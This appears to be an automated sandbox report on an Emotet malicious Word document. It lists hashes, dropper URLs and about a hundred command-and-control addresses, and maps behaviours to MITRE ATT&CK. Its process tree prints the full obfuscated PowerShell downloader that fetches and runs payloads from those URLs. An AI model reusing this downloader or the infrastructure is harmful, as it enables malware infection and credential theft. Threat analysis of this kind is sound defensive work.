emotet | 3b87b742002b973d033d06a0392bcebfb3073fae103e48cc81f1d57b55e92525

General

Target
emotet_e1_3b87b742002b973d033d06a0392bcebfb3073fae103e48cc81f1d57b55e92525_2020-08-22__184824._doc.doc
Size 235KB
Sample200822-kcr2dlz7la
SHA256 3b87b742002b973d033d06a0392bcebfb3073fae103e48cc81f1d57b55e92525
MD5 b89ed40f5c5d60e947a0dc3a2fa8e620
SHA1 f8911cc4f3ce9339fb1130ff82d471bfe190f417
SHA512 26ed993598f5bb1d4e674cdcdefab1c2a5cb985d0f5f48270cf2b5e6a79d48835085ec9c2a24f2d7d425a7e4fe29a019b95cd31c2989e6ef976139587dbd6164
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://triconsnow.com/flash/T9/
exe.dropper
http://www.studio63productions.com/fonts/2v/
exe.dropper
http://remotefacilities.com/rendering2/3/
exe.dropper
http://sedistribuidora.com.br/Lumine1.6/D/
exe.dropper
https://vmais.net/bebemaria/download/ne/
exe.dropper
http://silentfusion.net/forums/ZGR/
exe.dropper
https://www.teleargentina.com/ver/Y/

Extracted

Family

emotet

C2

181.30.61.163:443
209.126.6.222:8080
5.153.250.14:8080
188.135.15.49:80
104.131.41.185:8080
178.250.54.208:8080
50.28.51.143:8080
170.81.48.2:80
87.106.46.107:8080
191.99.160.58:80
187.162.248.237:80
89.32.150.160:8080
46.28.111.142:7080
190.190.148.27:8080
190.115.18.139:8080
178.79.163.131:8080
73.213.208.163:80
219.92.8.17:8080
95.9.180.128:80
212.71.237.140:8080
82.196.15.205:8080
111.67.12.221:8080
24.135.198.218:80
202.4.57.96:80
61.92.159.208:8080
80.249.176.206:80
77.90.136.129:8080
81.129.198.57:80
58.171.153.81:80
217.13.106.14:8080
24.148.98.177:80
51.255.165.160:8080
190.6.193.152:8080
149.62.173.247:8080
94.206.45.18:80
137.74.106.111:7080
190.195.129.227:8090
85.109.159.61:443
207.144.103.227:80
91.219.169.180:80
217.199.160.224:7080
104.131.103.37:8080
83.169.21.32:7080
82.163.245.38:80
204.225.249.100:7080
152.169.22.67:80
45.161.242.102:80
65.36.62.20:80
185.94.252.27:443
116.125.120.88:443
190.24.243.186:80
190.147.137.153:443
190.128.173.10:80
192.241.146.84:8080
186.250.52.226:8080
68.183.170.114:8080
45.173.88.33:80
12.162.84.2:8080
185.33.0.233:80
68.183.190.199:8080
73.116.193.136:80
213.60.96.117:80
189.2.177.210:443
186.103.141.250:443
177.73.0.98:443
72.47.248.48:7080
2.47.112.152:80
181.129.96.162:8080
5.196.35.138:7080
185.94.252.12:80
190.163.31.26:80
94.176.234.118:443
70.32.84.74:8080
213.176.36.147:8080
114.109.179.60:80
177.74.228.34:80
186.70.127.199:8090
174.100.27.229:80
45.33.77.42:8080
212.93.117.170:80
219.92.13.25:80
188.2.217.94:80
77.55.211.77:8080
172.104.169.32:8080
85.105.140.135:443
209.236.123.42:8080
70.32.115.157:8080
24.135.1.177:80
82.76.111.249:443
192.241.143.52:8080
51.159.23.217:443
191.182.6.118:80
67.247.242.247:80
177.72.13.80:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3548	392	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1000-13-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/1000-13-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/3144-16-0x0000000000550000-0x000000000055C000-memory.dmp	emotet
behavioral2/memory/3144-16-0x0000000000550000-0x000000000055C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
23	3548	powersheLL.exe
26	3548	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1000	Iv88le.exe
3144	gptext.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wmiclnt\gptext.exe	Iv88le.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3548	powersheLL.exe
3548	powersheLL.exe
3548	powersheLL.exe
3144	gptext.exe
3144	gptext.exe
3144	gptext.exe
3144	gptext.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3548	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
1000	Iv88le.exe
1000	Iv88le.exe
3144	gptext.exe
3144	gptext.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3548 wrote to memory of 1000	3548	powersheLL.exe	76
PID 3548 wrote to memory of 1000	3548	powersheLL.exe	76
PID 3548 wrote to memory of 1000	3548	powersheLL.exe	76
PID 1000 wrote to memory of 3144	1000	Iv88le.exe	77
PID 1000 wrote to memory of 3144	1000	Iv88le.exe	77
PID 1000 wrote to memory of 3144	1000	Iv88le.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_3b87b742002b973d033d06a0392bcebfb3073fae103e48cc81f1d57b55e92525_2020-08-22__184824._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2584

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABJADkAMABzAHUAZgAwAD0AKAAnAFAAdwB0AF8AJwArACcAMgAnACsAJwA0AGoAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgBUAEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAHUAcgBgAGkAVAB5AFAAcgBgAG8AYABUAE8AQwBvAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAnACsAJwAxADEALAAgAHQAbABzACcAKQA7ACQATgBsADMAcwB0ADQAMQAgAD0AIAAoACcASQB2ADgAOAAnACsAJwBsACcAKwAnAGUAJwApADsAJABSAHoAdABhAHIAcQB5AD0AKAAnAEwAJwArACcAcwBxAHMAdwByAGgAJwApADsAJABDAG8AYgBnAHMANwBvAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBCADYAJwArACcATwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5AEIANgAnACsAJwBPACcAKQAuACIAUgBgAGUAcABMAGEAYwBFACIAKAAnAEIANgBPACcALABbAFMAVABSAEkAbgBHAF0AWwBjAGgAQQByAF0AOQAyACkAKQArACQATgBsADMAcwB0ADQAMQArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQAWQBwAHIAdgA4AG4AbwA9ACgAJwBUAGMAJwArACcAeQBnADkAOAA1ACcAKQA7ACQATwBhAHAAYQBrAG4AawA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgBXAGUAQgBDAEwASQBFAE4AVAA7ACQATwBjAHkAdQA0AGkAZwA9ACgAJwBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHQAcgBpAGMAbwBuAHMAbgBvAHcALgBjAG8AbQAnACsAJwAvAGYAbABhAHMAaAAvACcAKwAnAFQAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwArACcALwB3AHcAdwAuAHMAdAB1AGQAaQBvADYAMwBwAHIAbwAnACsAJwBkACcAKwAnAHUAJwArACcAYwAnACsAJwB0AGkAbwBuAHMALgAnACsAJwBjAG8AbQAvAGYAbwBuAHQAcwAnACsAJwAvADIAdgAvACoAaAB0AHQAcAA6AC8ALwByACcAKwAnAGUAbQAnACsAJwBvAHQAZQBmAGEAYwBpAGwAaQAnACsAJwB0AGkAJwArACcAZQBzAC4AYwBvAG0ALwByAGUAbgBkAGUAJwArACcAcgBpAG4AZwAyAC8AMwAnACsAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBzAGUAZAAnACsAJwBpACcAKwAnAHMAdAByAGkAYgB1AGkAZABvAHIAYQAuAGMAbwBtAC4AYgAnACsAJwByAC8AJwArACcATAB1AG0AaQAnACsAJwBuAGUAMQAuADYAJwArACcALwBEAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKwAnAHMAOgAvAC8AdgAnACsAJwBtAGEAaQBzAC4AbgBlAHQALwAnACsAJwBiACcAKwAnAGUAYgBlAG0AJwArACcAYQByAGkAYQAnACsAJwAvAGQAbwB3AG4AbABvAGEAZAAvAG4AJwArACcAZQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwBzAGkAbABlAG4AdABmAHUAcwBpAG8AJwArACcAbgAuAG4AZQAnACsAJwB0AC8AZgBvAHIAdQBtAHMALwBaAEcAJwArACcAUgAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAHcAJwArACcAdwAnACsAJwB3AC4AdABlACcAKwAnAGwAZQBhAHIAZwBlAG4AdABpAG4AYQAuAGMAbwBtACcAKwAnAC8AdgBlACcAKwAnAHIALwBZAC8AJwApAC4AIgBTAHAATABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYANQBrADUAYgBlAHMAPQAoACcAWAAnACsAJwA3AGMAcwBrAGsAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABHAGgAcAA1AHQAcAB6ACAAaQBuACAAJABPAGMAeQB1ADQAaQBnACkAewB0AHIAeQB7ACQATwBhAHAAYQBrAG4AawAuACIAZABvAHcAbgBsAGAAbwBgAEEAZABmAGkAYABMAGUAIgAoACQARwBoAHAANQB0AHAAegAsACAAJABDAG8AYgBnAHMANwBvACkAOwAkAEQAbAAwAHIANgB1AGgAPQAoACcASAAnACsAJwBlAGsAbwA0ACcAKwAnAHMANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAQwBvAGIAZwBzADcAbwApAC4AIgBMAGUATgBgAEcAVABoACIAIAAtAGcAZQAgADMAMQAwADQAOAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABDAG8AYgBnAHMANwBvACkAOwAkAFUAbAAzAGcAbwBpADUAPQAoACcASQB5AGIAJwArACcAbAA4ACcAKwAnAGUAcgAnACkAOwBiAHIAZQBhAGsAOwAkAFoAYgB3ADAAbQA0AHkAPQAoACcAWgB0ACcAKwAnADkANgBkAG4AcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4ANQByAF8ANwByADIAPQAoACcARAAnACsAJwB1ACcAKwAnAHQANwBnAGEAbgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Users\Admin\AppData\Local\Temp\Office2019\Iv88le.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Iv88le.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\SysWOW64\wmiclnt\gptext.exe
    "C:\Windows\SysWOW64\wmiclnt\gptext.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3144

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1000-13-0x0000000002250000-0x000000000225C000-memory.dmp

Download

memory/2584-3-0x000001F9E4B26000-0x000001F9E4B47000-memory.dmp

Download

memory/2584-0-0x00007FF9F0680000-0x00007FF9F0D46000-memory.dmp

Download

memory/2584-2-0x000001F9DCD26000-0x000001F9DCD2D000-memory.dmp

Download

memory/2584-1-0x000001F9DCD26000-0x000001F9DCD2D000-memory.dmp

Download

memory/3144-16-0x0000000000550000-0x000000000055C000-memory.dmp

Download

memory/3548-9-0x000001CAEB9E0000-0x000001CAEB9E1000-memory.dmp

Download

memory/3548-8-0x000001CAEB7A0000-0x000001CAEB7A1000-memory.dmp

Download

memory/3548-7-0x00007FF9E85E0000-0x00007FF9E8FCC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads